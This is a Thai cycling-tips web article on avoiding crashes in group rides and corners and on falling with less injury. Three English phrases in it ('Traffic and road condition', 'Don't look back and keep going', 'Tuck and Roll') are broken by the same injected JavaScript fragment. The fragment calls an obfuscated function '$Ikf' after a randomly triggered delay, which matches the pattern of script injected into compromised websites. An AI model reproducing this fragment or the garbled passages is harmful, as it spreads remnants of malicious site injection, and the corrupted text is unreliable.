• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ป้องกันการล้ม (Bicycle crash prevention) และล้มอย่างไรไม่ให้เจ็บหนัก (Minimize damage)

Kanthad Yangsattha by Kanthad Yangsattha
3 March 2015
in Cycling Tips, Feature, Tips & Technics
0
ป้องกันการล้ม (Bicycle crash prevention) และล้มอย่างไรไม่ให้เจ็บหนัก (Minimize damage)
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

การป้องกันการล้ม (Bicycle crash prevention) และล้มอย่างไรไม่ให้เจ็บหนัก (Minimize damage)

เราจะมาพูดถึงหัวข้อการป้องกันไม่ให้เกิดการล้มและเมื่อเกิดการล้ม ต้องล้มอย่างไรให้เจ็บตัวน้อยที่สุด และสถานที่ที่สุ่มเสี่ยงต่อการล้มมากที่สุดคือ การปั่นเป็นกลุ่มและการเข้าโค้ง

เราไม่สามารถทำนายเหตุการณ์ล่วงหน้าได้ ไม่ว่าจะออกทริปไปกับก๋วนที่สนิทกันมากคาไหน แต่โอกาสล้มก็เกิดขึ้นได้เสมอ ดังนั้นสิ่งที่เราควรทำเมื่อต้องออกทริปปั่นเป็นกลุ่มคือเช็คอุปกรณ์และจักรยาน นักปั่นที่ดีต้องหมั่นตรวจเช็ครถจักรยานของตัวเองให้อยูในสภาพพร้อมใช้งานได้เสมอ อย่างเช่น ระบบเบรค เกียร์ สภาพเฟรม ล้อ และอย่าลืมสวมหมวกกันน็อคทุกครั้งก่อนปั่น ขณะออกสนามต้องสังเกตสภาพแวดล้อม อย่างเช่น สภาพการจราจร คน รถยนต์ มอเตอร์ไซด์และจักรยานด้วยกัน (Traffic andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and road condition) คนหน้าต้องค่อยส่งสัญญามือให้กับลูกทีมด้วย

เรามาดูเทคนิคควรรู้เพื่อลดความเสี่ยงที่จะกันนะครับ

1. เทคนิคการปั่นเป็นกลุ่ม

ห้ามทำ Overlap wheel เด็ดขาด เพราะถ้าคนข้างหน้าเปลี่ยนทิศทาง ล้อหลังของเขาจะกระทบล้อหน้าเรา ทำให้เกิดการล้มลงได้ และที่ร้ายแรงคือเราจะทำให้คนตามหลังเราอาจจะทั้งหมดล้มไปด้วย แต่ถ้าใครที่ปฎิกิริยาดีอาจจะหลบหลีกได้ทันก็รอดตัวไป

overlap wheels
การทำ overlapoverlap wheels2

เมื่อเราล้มจะไปเกี่ยวเอาคนข้างหลังล้มลงไปด้วย

overlap wheels3
และคนหลังต่อๆก็อาจจะล้มยกทั้งกลุ่มเลยก็ได้

Avoid unsafe rider หรือพยายามหลบหลีกนักปั่นที่มีพฤติกรรมสุ่มเสี่ยงต่อการทำให้เกิดอุบัติเหตุ มีวิธีการปั่นที่ประเมินแล้วว่าอันตรายต่อเรา อย่างเช่น ขับรถส่ายไปมา ไม่มีสมาธิต่อการปั่น ใส่หูฟัง ให้รีบแซงหน้าไปเลยครับ

Second crash syndrome เป็นการล้มจากการขาดสมาธิในการปั่นระยะสั้นๆ เราควรจะจดจ่อต้องเส้นทางและสิ่งกีดขวางที่อยู่ตรงหน้า แต่เพราะมีการล้มเกิดขึ้นข้างหลังกลุ่มเรา ทำให้เราละสายตาไม่เพียงกี่วินาทีเพื่อเหลี่ยวหลังกลับไม่มองว่าเกิดอะไรขึ้น ช่วงเวลานี้เขาเรียกว่า Lapse in attention ช่วงนี้เองเราจะสูญเสียการควบคุมทิศทางของจักรยาน ซึ่งอาจจะไปกระทบกับเพื่อนในกลุ่ม หรือถ้าเพื่อนเหลี่ยวหลังมองเหมือนกันเค้าก็อาจจะมาเกี่ยวเราล้มไปด้วย หรืออาจจะเกิดเพราะทั้งเราและเพื่อนเหลี่ยวหลังไปมองพร้อมๆ กัน

overlap wheels4
เริ่มจากการเหลี่ยวหลังดูoverlap wheels5

การละสายตาไม่กี่วินาที ก็สามารถทำให้เราสูญเสียการควบคุมทิศทางได้ รถส่ายไปมา

overlap wheels6
จังหวะรถเกี่ยวกันล้มเกิดขึ้นเพียงไม่กี่วินาที

ดังนั้นหายเกิดเหตุการณ์ใดๆ ขึ้นข้างหลังให้ปั่นไปก่อนไม่ต้องมองย้อนหลัง ค่อยๆ ผ่อนความเร็วแล้จอดดู (Don’t look back andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keep going)

overlap wheels7
ดูเหมือนไร้น้ำใจ แต่เพื่อความปลอดภัย ห้ามเหลี่ยวหลังมองเด็ดขาด

2. การเข้าโค้ง เป็นหนึ่งในสาเหตุหลักของการล้ม และเพื่อป้องกันการล้มเรามาดูเทคนิคเบื้องต้นกัน…

1. Point of focus และ Focus through the corner ต้องมีสติและโฟกัสจุดเข้าโค้งทุกครั้ง มองไปที่เป้าหมายหรือจุดที่เราจะเลี้ยวเข้าไป จะช่วยให้ควบคุมได้ง่ายขึ้น

2. ถ่ายน้ำหนักให้อยู่บนล้อ เวลาเลี้ยวให้เอนตัว (Lean) โดยที่ศูนย์กลางน้ำหนักยังอยู่บนล้อ จะช่วยเพิ่มแรงยึดกาะ (Traction)

overlap wheels8

3. เบรคก่อนเข้าโค้ง แตะเบรคชะลอความเร็วก่อนเข้าโค้ง หรือใช้เบรคเมื่ออยู่ในเส้นทางตรง การเบรคขณะเข้าโค้งจะเสี่ยงต่อการล้มมากเพราะ เวลาที่เราเบรคแรงเฉื่อยจะพุ่งไปข้างหน้าส่งผลให้ล้มหน้ารับแรงกดมากขึ้นหรือเพิ่ม Traction ยากต่อการควบคุม ทำให้ล้อหน้าไถล่ออกข้างได้

overlap wheels11
แรงเฉื่อยจะไปเพิ่ม traction ให้กับล้อหน้า

4. การใช้เบรค อย่างที่เรารู้ๆ กัน เบรคหน้าจะมีแรงเบรคมากกว่า (more stopping power) แต่การใช้เบรคหน้าจะทำให้ล้อหลังลอยได้ (unweight the rear wheel) ล้อหลังจะส่ายไปมาหรือเกิดอาการ Skidding ได้ หากบีบล้อหลังแรงเกินไปก็เช่นกัน ในกรณีที่รุนแรงหากเราบรคหน้าอย่างแรงจะตีลังการหายหลังได้

overlap wheels12

ฉะนั้นเวลาเบรคให้ใช้ทั้งเบรคหน้าและหลัง พร้อมกับถ่ายน้ำหนักไปข้างหลัง เพื่อ traction รักษาสมดุลและคอนโทรล

overlap wheels9

 

ในกรณีฉุกเฉินให้ใช้แรงเบรคหน้า 60% และเบรคหลัง 40% และถ้าต้องปั่นในวันฝนตกหรือถนนเปียก ให้ลดยางลมลง จะช่วยเพิ่ม traction ให้กับล้อ และหลีกเลี่ยงการขี่บนเส้นขาวที่ขีดแบบเลนถนนไว้เพราะมันลื่นมาก

ต่อมาเรามาดูวิธีการลดการบาดเจ็บ (Minimize the damages) และหนึ่งในวิธีการผ่อนหนักให้เป็นเบาที่ง่ายที่สุด คือการฝึก Physical training อย่างเช่น การฝึกความยืดหยุ่น (Flexibility), การฝึกสมดุลทั้งซีกซ้ายขวา (Balance) และการฝึกประสาทรับรู้ให้ว่องไว (proprioception) การฝึกทั้งหมดนี้จะช่วยเพิ่มเวลาตอบสนองและการคอนโทรลต่อสถานการณ์ที่เกิดขึ้นได้รวดเร็วขึ้น

อย่างไรก็ตามเมื่อต้องเผชิญกับสถานะการณ์ที่ไม่สามารถหลีกเลี่ยงได้ หรือเราต้องล้มจริงๆ

Over the bars เหตุการณ์ที่เราล้มพุ่งไปข้างหน้า หรือตีลังกาไปข้างหน้า อาจจะเพราะเราเบรคหน้าอย่างแรง หรือชนเข้ากับสิ่งกีดขว้างด้านหน้าทำให้ตัวและล้อหลังยกขึ้น

วิธีที่จะช่วยลดแรงกระแทกและความเสียหายที่จะเกิดขึ้นคือ Tuck andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Roll ให้เก็บหัว มือยังอยู่ที่แฮนด์บาร์ พยายามจินตนาการให้ม้วนตัวล้มลง

overlap wheels13

ฟังดูเหมือนจะง่ายนะครับ แต่ในเหตุการณ์จริงๆ มันต้องขึ้นอยู่กับการตอบสนองหรือสัญชาตญาณของเรา ซึ่งส่วนมากการตอบสนองจะโดยสัญชาตญาณจะทำให้เราปล่อยมือออกจากแฮนด์บาร์ ทำให้เจ็บหนักกว่าเดิมครับ อาจจะมีหน้าแหกและแขนหัก

overlap wheels10

 

และการเข้าโค้งก็เหมือนกัน หากเราต้องล้มลงให้เก็บมือเข้าตัว และกลิ้งตัวถ้าทำได้

overlap wheels14

 

หวังว่าทุกผู้อ่านคงได้ความรู้ไปกับข้อนี้ไม่มากก็น้อยนะครับ และก่อนปั่นต้องตั้งสติและมีสมาธิทุกครั้งนะครับ

ที่มาCyclingSecrets

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.